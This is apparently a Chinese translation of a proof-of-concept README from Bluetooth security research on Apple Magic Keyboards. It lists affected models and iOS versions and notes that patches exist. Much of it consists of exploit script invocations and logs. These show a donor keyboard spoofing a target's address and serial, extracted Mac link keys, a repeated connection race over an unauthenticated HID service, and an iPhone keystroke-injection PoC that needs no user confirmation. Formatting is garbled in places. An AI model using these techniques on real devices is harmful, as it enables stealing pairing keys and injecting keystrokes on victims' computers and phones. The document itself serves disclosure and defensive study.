| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |

#### 起始状态

- Magic Keyboard 已与一台未启用锁定模式的 Mac 配对
- 攻击者知道该 Magic Keyboard 的蓝牙地址和序列号
- 攻击者拥有一个捐赠 Magic Keyboard（将临时重新配置以伪装成目标键盘）

#### 运行 PoC```
> ./read-link-key-from-mac.py --help
usage: read-link-key-from-mac.py [-h] -a KEYBOARD_ADDRESS -s KEYBOARD_SERIAL

options:
  -h, --help            show this help message and exit
  -a KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
  -s KEYBOARD_SERIAL, --keyboard_serial KEYBOARD_SERIAL

调用```

./read-link-key-from-mac.py -a 1c:57:fc:08:65:12 -s F1T2107RUNW12NXA9

#### 输出```
[2024-01-07 10:34:53.910]  Turn on the donor keyboard and plug it into this computer
[2024-01-07 10:34:58.200]  changing Bluetooth address from 3C:A6:F6:E1:3D:F0 to 1c:57:fc:08:65:12
[2024-01-07 10:34:58.201]  serial number: F0T230C02AZ0NC1EH -> F1T2107RUNW12NXA9
[2024-01-07 10:34:58.202]  Unplug the donor keyboard and plug it into the Mac.
[2024-01-07 10:34:58.202]  Wait a few seconds, then plug it back into this computer.
[2024-01-07 10:35:02.533]  keyboard was unplugged
[2024-01-07 10:35:13.463]  keyboard has returned
[2024-01-07 10:35:13.464]  Mac BT Address - a4:c3:99:e8:a8:6c
[2024-01-07 10:35:13.464]  BT Link-Key    - c95e3ec98809f2745d32029e7f97b67e

Magic Keyboard 蓝牙链接密钥

当 Magic Keyboard 插入 Mac 时，Mac 会通过 USB 将蓝牙链接密钥发送给 Magic Keyboard。

链接密钥会一直保留在内存中，直到 Magic Keyboard 断电，并且可以通过键盘上未认证的蓝牙 HID 服务读取。

当 Magic Keyboard 从 Mac 上拔下时，未认证的蓝牙 HID 服务变为可用，并一直保持可用，直到蓝牙链接建立。

这是一个带有时序组件的零点击攻击。PoC 未实现定时触发器，而是循环尝试连接 Magic Keyboard，直到成功。

受影响版本

Apple 于 2024-01-09 开始推出 Magic Keyboard 补丁。

以下 Apple 外设经测试发现易受此攻击影响。未测试其他外设，因此此列表可能不完整。

产品名称	型号
Magic Keyboard	A2450
Magic Keyboard with Touch ID	A2449
Magic Keyboard with Numeric Keypad	A1843

起始状态

Magic Keyboard 已开机并插入 Mac

运行 PoC

使用 Lightning 转 USB 线缆将 Magic Keyboard 插入 Linux 计算机，然后运行脚本。脚本运行后，将键盘从 Mac 上拔下。

当键盘被拔下时，攻击者机器和 Mac 之间会竞争连接键盘。

PoC 通常会在键盘从 Mac 拔下 ~5 或 ~25 秒后连接到 Magic Keyboard。有时 Mac 会赢得竞争，此时 PoC 将无法完成。``` ./read-link-key-lightning.py

#### 调用```
./read-link-key-bluetooth.py 1c:57:dc:88:55:02

输出```

[2024-01-07 13:09:59.311] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.313] ERROR connecting on port 17: timed out [2024-01-07 13:10:00.314] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.316] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:00.318] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.359] ERROR connecting on port 17: timed out [2024-01-07 13:10:01.361] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.362] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:01.364] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.407] ERROR connecting on port 17: timed out [2024-01-07 13:10:02.408] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.410] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:02.411] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.448] ERROR connecting on port 17: timed out [2024-01-07 13:10:03.449] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.451] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:03.452] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.512] ERROR connecting on port 17: timed out [2024-01-07 13:10:04.513] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.515] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:04.516] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.568] ERROR connecting on port 17: timed out [2024-01-07 13:10:05.569] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.638] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:05.640] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:06.680] ERROR connecting on port 17: timed out [2024-01-07 13:10:06.681] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:07.682] ERROR connecting on port 17: timed out [2024-01-07 13:10:07.684] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:08.685] ERROR connecting on port 17: timed out [2024-01-07 13:10:08.687] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:09.689] ERROR connecting on port 17: timed out [2024-01-07 13:10:09.690] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:10.691] ERROR connecting on port 17: timed out [2024-01-07 13:10:10.693] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:11.694] ERROR connecting on port 17: timed out [2024-01-07 13:10:11.696] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:12.697] ERROR connecting on port 17: timed out [2024-01-07 13:10:12.699] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:13.700] ERROR connecting on port 17: timed out [2024-01-07 13:10:13.702] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:14.704] ERROR connecting on port 17: timed out [2024-01-07 13:10:14.705] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:15.707] ERROR connecting on port 17: timed out [2024-01-07 13:10:15.708] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:16.709] ERROR connecting on port 17: timed out [2024-01-07 13:10:16.711] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:17.712] ERROR connecting on port 17: timed out [2024-01-07 13:10:17.714] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:18.715] ERROR connecting on port 17: timed out [2024-01-07 13:10:18.717] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:19.719] ERROR connecting on port 17: timed out [2024-01-07 13:10:19.720] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:20.722] ERROR connecting on port 17: timed out [2024-01-07 13:10:20.723] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:21.725] ERROR connecting on port 17: timed out [2024-01-07 13:10:21.726] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:22.728] ERROR connecting on port 17: timed out [2024-01-07 13:10:22.729] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:23.731] ERROR connecting on port 17: timed out [2024-01-07 13:10:23.732] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:24.734] ERROR connecting on port 17: timed out [2024-01-07 13:10:24.735] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:25.737] ERROR connecting on port 17: timed out [2024-01-07 13:10:25.738] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.739] ERROR connecting on port 17: timed out [2024-01-07 13:10:26.741] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.824] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:26.826] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:27.868] ERROR connecting on port 17: timed out [2024-01-07 13:10:27.869] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:28.262] SUCCESS! connected on port 17 [2024-01-07 13:10:28.264] connecting to 1c:57:dc:88:55:02 on port 19 [2024-01-07 13:10:28.290] SUCCESS! connected on port 19 [2024-01-07 13:10:28.291] [TX-17] 53ff34 [2024-01-07 13:10:28.346] [RX-17] 00 [2024-01-07 13:10:28.346] [TX-17] 43f0 [2024-01-07 13:10:28.414] [RX-17] a3f0340347011c57dc88550200254000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [2024-01-07 13:10:28.414] [TX-17] 53ff35 [2024-01-07 13:10:28.458] [RX-17] 00 [2024-01-07 13:10:28.458] [TX-17] 43f0 [2024-01-07 13:10:28.498] [RX-17] a3f035010150de06a8e1ca80b480523b23bbff5ea40c52e88f1905 Model 0 - Magic Keyboard BT Address - 1c:57:dc:88:55:02 Mac BT Address - 50🇩🇪06:a8:e1:ca BT Link Key - 05198fe8520ca45effbb233b5280b480

### iOS 键盘注入

当 iPhone 尝试通过蓝牙连接到已配对的妙控键盘时，攻击者可以向 iPhone 伪装成妙控键盘，配对虚拟蓝牙键盘，并在无需用户确认的情况下注入按键。

此攻击包含一个时机要素，攻击者必须在 iPhone 尝试连接妙控键盘的确切时刻连接到 iPhone。

随附的 PoC 会在 iPhone 尝试连接其已配对的妙控键盘时触发。它使用与 macOS PoC 相同的 SDP 时序触发器，在 iPhone 连接至其已配对妙控键盘时触发。这是一次零点击攻击，需要观察到用户连接其已配对的妙控键盘。

#### 受影响版本

- iOS 17 在 17.2 之前存在漏洞
- iOS 16 存在漏洞，预计不会有补丁
- iOS 15 及更早版本未经过测试

#### 起始状态

- iPhone 已与妙控键盘配对，且该键盘不在范围内或已关机。
- 当用户尝试连接其妙控键盘时，PoC 注入按键以打开网页浏览器并执行 Google 搜索。

#### 运行 PoC

**注意：要使此 PoC 运行，攻击者机器上的 BlueZ 必须以兼容模式运行。iPhone PoC 脚本位于 iphone-poc.zip 中**```
> ./iphone-poc.py
usage: ./iphone-poc.py <hciX> <BT_ADDR_IPHONE> <BT_ADDR_KEYBOARD>

调用```

./iphone-poc.py hci1 4C:20:B8:D6:63:45 1C:57:DC:88:55:02

hi_my_name_is_keyboard

最受欢迎